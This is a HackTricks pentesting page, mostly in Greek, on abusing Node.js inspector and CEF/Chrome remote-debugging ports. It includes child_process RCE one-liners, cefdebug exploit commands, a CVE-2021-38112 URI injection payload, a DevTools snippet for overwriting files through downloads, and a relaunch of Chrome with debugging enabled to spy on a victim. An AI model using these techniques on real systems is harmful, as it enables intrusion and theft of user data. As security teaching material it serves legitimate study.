Node inspector/CEF debug abuse

Support HackTricks

Basic Information

Από τα έγγραφα: Όταν ξεκινά με την επιλογή --inspect, μια διαδικασία Node.js ακούει για έναν πελάτη αποσφαλμάτωσης. Από προεπιλογή, θα ακούει στη διεύθυνση και την θύρα 127.0.0.1:9229. Κάθε διαδικασία έχει επίσης ανατεθεί μια μοναδική UUID.

Οι πελάτες αποσφαλμάτωσης πρέπει να γνωρίζουν και να καθορίζουν τη διεύθυνση του διακομιστή, την θύρα και την UUID για να συνδεθούν. Μια πλήρης διεύθυνση URL θα μοιάζει κάπως έτσι: ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e.

Δεδομένου ότι ο αποσφαλματωτής έχει πλήρη πρόσβαση στο περιβάλλον εκτέλεσης Node.js, ένας κακόβουλος παράγοντας που μπορεί να συνδεθεί σε αυτήν την θύρα μπορεί να είναι σε θέση να εκτελέσει αυθαίρετο κώδικα εκ μέρους της διαδικασίας Node.js (πιθανή κλιμάκωση προνομίων).

Υπάρχουν αρκετοί τρόποι για να ξεκινήσει ένας αποσφαλματωτής:

node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
# --inspect-brk is equivalent to --inspect

node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector

Όταν ξεκινάτε μια διαδικασία που επιθεωρείται, κάτι τέτοιο θα εμφανιστεί:

Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector

Διεργασίες που βασίζονται στο CEF (Chromium Embedded Framework) χρειάζονται να χρησιμοποιούν την παράμετρο: --remote-debugging-port=9222 για να ανοίξουν τον debugger (οι προστασίες SSRF παραμένουν πολύ παρόμοιες). Ωστόσο, αντί να παραχωρούν μια NodeJS debug συνεδρία, θα επικοινωνούν με τον περιηγητή χρησιμοποιώντας το Chrome DevTools Protocol, αυτή είναι μια διεπαφή για τον έλεγχο του περιηγητή, αλλά δεν υπάρχει άμεσο RCE.

Όταν ξεκινάτε έναν περιηγητή που αποσφαλματώνεται, κάτι τέτοιο θα εμφανιστεί:

DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369

Browsers, WebSockets and same-origin policy

Οι ιστότοποι που ανοίγονται σε έναν περιηγητή ιστού μπορούν να κάνουν WebSocket και HTTP αιτήματα σύμφωνα με το μοντέλο ασφάλειας του περιηγητή. Μια αρχική σύνδεση HTTP είναι απαραίτητη για να αποκτηθεί ένα μοναδικό id συνεδρίας debugger. Η πολιτική same-origin αποτρέπει τους ιστότοπους από το να μπορούν να κάνουν αυτή τη σύνδεση HTTP. Για επιπλέον ασφάλεια κατά των επιθέσεων DNS rebinding, το Node.js επαληθεύει ότι οι κεφαλίδες 'Host' για τη σύνδεση είτε καθορίζουν μια διεύθυνση IP είτε localhost ή localhost6 ακριβώς.

Αυτά τα μέτρα ασφαλείας αποτρέπουν την εκμετάλλευση του inspector για να εκτελούνται κώδικες απλά στέλνοντας ένα HTTP αίτημα (το οποίο θα μπορούσε να γίνει εκμεταλλευόμενοι μια ευπάθεια SSRF).

Starting inspector in running processes

Μπορείτε να στείλετε το σήμα SIGUSR1 σε μια τρέχουσα διαδικασία nodejs για να ξεκινήσει τον inspector στην προεπιλεγμένη θύρα. Ωστόσο, σημειώστε ότι χρειάζεστε αρκετά δικαιώματα, οπότε αυτό μπορεί να σας δώσει προνομιακή πρόσβαση σε πληροφορίες μέσα στη διαδικασία αλλά όχι άμεση κλιμάκωση δικαιωμάτων.

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

Αυτό είναι χρήσιμο σε κοντέινερ γιατί η διακοπή της διαδικασίας και η εκκίνηση μιας νέας με --inspect δεν είναι επιλογή γιατί το κοντέινερ θα σκοτωθεί μαζί με τη διαδικασία.

Σύνδεση με τον επιθεωρητή/αποσφαλματωτή

Για να συνδεθείτε με έναν browser βασισμένο σε Chromium, μπορείτε να αποκτήσετε πρόσβαση στα URLs chrome://inspect ή edge://inspect για το Chrome ή το Edge, αντίστοιχα. Κάνοντας κλικ στο κουμπί Ρύθμιση, θα πρέπει να διασφαλιστεί ότι ο στόχος και η θύρα είναι σωστά καταχωρημένα. Η εικόνα δείχνει ένα παράδειγμα Remote Code Execution (RCE):

Χρησιμοποιώντας τη γραμμή εντολών μπορείτε να συνδεθείτε με έναν αποσφαλματωτή/επιθεωρητή με:

node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")

Το εργαλείο https://github.com/taviso/cefdebug επιτρέπει να βρείτε επιθεωρητές που εκτελούνται τοπικά και να εισάγετε κώδικα σε αυτούς.

#List possible vulnerable sockets
./cefdebug.exe
#Check if possibly vulnerable
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
#Exploit it
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"

Σημειώστε ότι οι εκμεταλλεύσεις RCE του NodeJS δεν θα λειτουργήσουν αν συνδεθείτε σε έναν περιηγητή μέσω του Chrome DevTools Protocol (πρέπει να ελέγξετε το API για να βρείτε ενδιαφέροντα πράγματα να κάνετε με αυτό).

RCE στον Debugger/Inspector του NodeJS

Αν ήρθατε εδώ ψάχνοντας πώς να αποκτήσετε RCE από ένα XSS σε Electron παρακαλώ ελέγξτε αυτή τη σελίδα.

Ορισμένοι κοινοί τρόποι για να αποκτήσετε RCE όταν μπορείτε να συνδεθείτε σε έναν Node inspector είναι η χρήση κάποιου όπως (φαίνεται ότι αυτό δεν θα λειτουργήσει σε σύνδεση με το Chrome DevTools protocol):

process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require('child_process').spawnSync('calc.exe')
Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))

Chrome DevTools Protocol Payloads

You can check the API here: https://chromedevtools.github.io/devtools-protocol/ In this section I will just list interesting things I find people have used to exploit this protocol.

In the CVE-2021-38112 Η Rhino security ανακάλυψε ότι μια εφαρμογή βασισμένη σε CEF καταχώρησε μια προσαρμοσμένη URI στο σύστημα (workspaces://) που έλαβε την πλήρη URI και στη συνέχεια εκκίνησε την εφαρμογή βασισμένη σε CEF με μια ρύθμιση που κατασκευαζόταν εν μέρει από αυτήν την URI.

Ανακαλύφθηκε ότι οι παράμετροι URI αποκωδικοποιούνταν URL και χρησιμοποιούνταν για να εκκινήσουν την βασική εφαρμογή CEF, επιτρέποντας σε έναν χρήστη να εισάγει τη σημαία --gpu-launcher στη γραμμή εντολών και να εκτελέσει αυθαίρετα πράγματα.

So, a payload like:

workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE

Θα εκτελέσει ένα calc.exe.

Εγγραφή Αρχείων

Αλλάξτε τον φάκελο όπου θα αποθηκευτούν τα κατεβασμένα αρχεία και κατεβάστε ένα αρχείο για να εγγράψετε τον συχνά χρησιμοποιούμενο κώδικα πηγής της εφαρμογής με τον κακόβουλο κώδικά σας.

ws = new WebSocket(url); //URL of the chrome devtools service
ws.send(JSON.stringify({
id: 42069,
method: 'Browser.setDownloadBehavior',
params: {
behavior: 'allow',
downloadPath: '/code/'
}
}));

Webdriver RCE και εξαγωγή

Σύμφωνα με αυτή την ανάρτηση: https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148 είναι δυνατό να αποκτηθεί RCE και να εξαχθούν εσωτερικές σελίδες από τον ποταμό.

Μετά την Εκμετάλλευση

Σε ένα πραγματικό περιβάλλον και μετά την παραβίαση ενός υπολογιστή χρήστη που χρησιμοποιεί πρόγραμμα περιήγησης βασισμένο σε Chrome/Chromium, θα μπορούσατε να εκκινήσετε μια διαδικασία Chrome με την αποσφαλμάτωση ενεργοποιημένη και να προωθήσετε την θύρα αποσφαλμάτωσης ώστε να μπορείτε να έχετε πρόσβαση σε αυτήν. Με αυτόν τον τρόπο θα είστε σε θέση να εξετάσετε τα πάντα που κάνει το θύμα με το Chrome και να κλέψετε ευαίσθητες πληροφορίες.

Ο κρυφός τρόπος είναι να τερματίσετε κάθε διαδικασία Chrome και στη συνέχεια να καλέσετε κάτι σαν

Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"

Αναφορές

Υποστήριξη HackTricks

Last updated